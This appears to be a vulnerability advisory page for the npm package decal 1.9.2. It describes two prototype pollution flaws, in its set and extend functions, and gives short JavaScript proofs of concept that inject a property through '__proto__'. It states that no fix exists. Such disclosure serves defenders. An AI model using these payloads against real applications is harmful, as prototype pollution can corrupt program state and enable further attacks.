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decal@1.9.2 vulnerabilities

  • latest version

    2.1.3

  • first published

    8 years ago

  • latest version published

    5 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the decal package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    Affected versions of this package are vulnerable to Prototype Pollution. The vulnerability is in the set function.

    PoC

    const decal = require('decal');

console.log('Before:', {}.polluted);
decal.set({}, "__proto__.polluted", "1337");
console.log('After:', {}.polluted);

    How to fix Prototype Pollution?

    There is no fixed version for decal.

    *
    • H
    Prototype Pollution

    Affected versions of this package are vulnerable to Prototype Pollution. The vulnerability is in the extend function.

    PoC

    const decal = require('decal');

console.log('Before:', {}.polluted);
const o = JSON.parse('{"__proto__":{"polluted":"1"}}');
decal.extend({}, true, o);
console.log('After:', {}.polluted);

    How to fix Prototype Pollution?

    There is no fixed version for decal.

    *
    Go back to all versions of this package